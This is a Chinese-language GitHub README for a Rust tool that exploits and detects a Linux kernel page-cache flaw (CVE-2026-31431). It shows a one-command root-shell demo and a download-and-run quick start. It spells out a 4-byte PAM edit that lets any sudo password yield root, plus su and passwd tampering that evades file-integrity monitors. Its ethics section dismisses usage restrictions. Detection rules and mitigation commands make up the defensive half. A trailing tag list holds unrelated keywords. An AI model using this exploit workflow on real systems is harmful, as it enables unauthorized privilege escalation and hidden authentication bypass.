diemoeve/copyfail-rs

GitHub: diemoeve/copyfail-rs

针对 CVE-2026-31431 的 Linux 内核页缓存漏洞利用与检测工具,新增 PAM 认证绕过提权向量并提供唯一公开的页缓存篡改检测方案。

Stars: 6 | Forks: 2

# copyfail-rs 单一静态二进制文件。约 108 KB。`no_std` musl。 ## 演示 ``` noot@host:~$ ./copyfail-rs --mode exploit [sudo] password for noot: root@host:~# id uid=0(root) gid=0(root) groups=0(root) root@host:~# ``` 一条命令。Root shell。底层使用 PAM killshot(对 `/etc/pam.d/common-auth` 进行单次 4 字节写入),通过丢弃的密码利用 sudo 掉入 root 的 PTY。`[sudo] password for noot:` 这行会短暂闪现,sudo 总是会回显该提示符;该二进制文件向其提供任意字符串,pam_unix 的失败会级联穿透被注释掉的 pam_deny.so 到达 pam_permit.so → root。 ``` $ ./copyfail-rs --mode detect --scan === copyfail-rs detection: --scan === TAMPERED (1): /etc/pam.d/common-auth [ext4] cache: 23c4f1ee... ← what's actually loaded (mutated) disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean) ``` 这就是该项目。磁盘干净,缓存被篡改。所有公开的 FIM 均已失效。而本工具不受影响。 ## 快速开始(无需构建) [v0.1.0 release](https://github.com/diemoeve/copyfail-rs/releases/tag/v0.1.0) 上提供了预编译的静态二进制文件。选择你的架构,下载并运行。 ``` # x86_64 (大多数笔记本电脑 + 云服务器) curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl chmod +x copyfail-x86_64-musl ./copyfail-x86_64-musl --mode exploit ``` 其他架构: | 架构 | 文件 | |------|------| | ARM64 (aarch64) | `copyfail-aarch64-musl` | | ARMv7 (Raspberry Pi 3+) | `copyfail-armv7-musleabihf` | 验证完整性: ``` curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt sha256sum -c checksums.txt ``` 静态 musl 二进制文件,无运行时依赖项,可部署在任何 Linux 上。 ## 为什么 FIM 会失效 页缓存篡改。无 VFS 写入。无脏页。无 inotify 事件。定期重新扫描与逐出竞争。 AIDE/Wazuh/OSSEC/Tripwire/Samhain 通过缓冲 I/O 读取 → 页缓存 → 将篡改后的字节作为真实数据进行哈希。或者在逐出后,对干净的磁盘进行哈希 → “从未发生过任何变化”。 检测需要 O_DIRECT(绕过缓存)+ 缓冲读取(命中缓存)+ 哈希差异。不匹配 = CopyFail 特征。即 `--scan`。 ## 向量 | 向量 | 目标 | 落点 | |--------|--------|----------------| | `pam` (新增) | `/etc/pam.d/common-auth` (Debian/Ubuntu) 或 `system-auth` (Fedora/RHEL/Arch) | 4 字节。`auth requisite pam_deny.so` → `#aut requisite pam_deny.so`。使用任意密码执行 sudo = root。 | | `su` | `/usr/bin/su` | 篡改 setuid 二进制文件文本。`execve` → root。 | | `passwd` | `/etc/passwd` | UID 翻转 → 用户在下次登录时变为 root。会导致该用户的 SSH 中断。 | 自动选择:`--vector auto`(默认)。按隐蔽性排序为 pam > su > passwd。失败时回退。 ## 检测 | 模式 | 内容 | |------|------| | `--check` | 内核 + 模块 + `CONFIG_CRYPTO_USER_API_AEAD` + 缓解状态。判定结果:漏洞存在 / 已缓解 / 安全。 | | `--scan` | 关键文件上的 O_DIRECT 与缓冲读取差异。经 `statfs()` 分支处理:ext4/xfs/btrfs 使用 O_DIRECT,overlayfs 回退,tmpfs 跳过。 | | `--baseline` / `--diff` | 快照已知干净的状态。稍后进行差异比对。仅缓存的增量 = CopyFail 指纹。 | | `--watch` | 守护进程。周期性扫描。SIGTERM 优雅退出。 | | `--hunt` | SSH 集群扫描。JSON 聚合。 | 全面支持 `--json` 以便 SIEM 接入。 ## 检测特征 `detection/`: - `sigma/copyfail-af-alg.yml`,Sigma 规则,可直接导入你的 SIEM - `auditd/copyfail.rules`,执行 `augenrules --load` - `ebpf/copyfail-trace.bt`,bpftrace 单行命令 - `apparmor/copyfail-block.profile`,AppArmor 3.0+ 拒绝规则 - `mitigation/disable-algif.sh`,modprobe 黑名单 + `=y` 警告 ## 缓解措施 ``` echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf sudo rmmod algif_aead ``` 或内核主线 `a664bf3d603d`(2026 年 4 月)。截至目前:仅 Debian Sid/Forky 包含了此补丁。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = 均存在漏洞。 注意事项:`CONFIG_CRYPTO_USER_API_AEAD=y`(内建)会静默绕过 modprobe。`--check` 会发出警告。 在利用漏洞并应用缓解措施后:缓存的篡改将持续到重启。缓解措施可阻止新发起的攻击,但无法撤销已有攻击。 ## 构建 ``` cargo build --release --target x86_64-unknown-linux-musl ``` | 目标平台 | 体积 | |--------|------| | x86_64-musl | 108 KB | | aarch64-musl | 96 KB | | armv7-musleabihf | 86 KB | `no_std`。无分配器。无运行时依赖。单一静态二进制文件。 预编译产物及 SHA256 校验和附在 GitHub 发布页中。 ## 用法 参见 `docs/usage.md`,获取每种模式(利用 auto/list/all,检测 check/scan/baseline/diff/watch/hunt)的满屏具体命令示例。 有关本 README 的更长篇幅叙述版本(更多上下文,更深入阐述),请参见 [`BLOG.md`](./BLOG.md)。 ## 威胁模型 参见 `docs/threat-model.md`。 ## 对比 | | Theori Python | tgies C | badsectorlabs Go | **copyfail-rs** | |--|--------------|---------|------------------|-----------------| | 向量 | su | su + passwd | su | **su + passwd + PAM (新)** | | 检测 | 无 | 无 | 无 | **完整的 --mode detect** | | IR 特征 | 无 | 无 | 无 | **Sigma + auditd + eBPF + AppArmor** | | 操作者体验 | 3 条命令 | 4 条命令 | 5 条命令 | **1 条命令** | | 二进制文件 | 需要 Python | ~10 KB | ~5 MB | **约 108 KB 静态文件** | ## 授权与道德规范 仅限自有硬件。无 CLI 限制(安全 theater)。README + LICENSE = 框架。 检测模式为只读。在生产环境中安全。 利用模式会篡改内核页缓存。仅存在于 RAM 中,但应视为破坏性操作。会阻断任何后续调用者的认证。 ## 鸣谢 CVE-2026-31431 由 Theori / Xint 于 2026-04-29 披露([writeup](https://copy.fail/),[Xint 博客](https://xint.io/blog/copy-fail-linux-distributions))。先前的公开 PoC: - [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431) (Python,732 字节,su 向量) - [tgies/copy-fail-c](https://github.com/tgies/copy-fail-c) (使用 nolibc 的 C 语言,su + passwd 向量,可移植) - [badsectorlabs/copyfail-go](https://github.com/badsectorlabs/copyfail-go) (静态 Go 二进制文件,su 向量) 本项目 (`copyfail-rs`):新增了 PAM 认证绕过向量、双模式检测以及 IR 特征。 ## 许可证 MIT。 ## 参考资料 - https://copy.fail/ - Linux 修复:`a664bf3d603d` - 基准版本:`72548b093ee3` (4.14,2017 年 8 月) - 类似案例:Dirty Pipe (CVE-2022-0847)
标签:auditd, CSV导出, CVE-2026-31431, cybersecurity, Docker镜像, FIM绕过, Linux内核漏洞, musl, no_std, O_DIRECT, Page-Cache篡改, PAM后门, PAM认证绕过, PoC, PrivEsc, Rust, Sigma规则, StruQ, TGT, VFS, Wazuh, Web报告查看器, 内存马, 协议分析, 可视化界面, 子域名枚举, 攻防演练, 暴力破解, 本地提权, 权限提升, 目标导入, 系统安全, 缓冲区溢出, 缓存投毒, 网络流量审计, 通知系统, 静态编译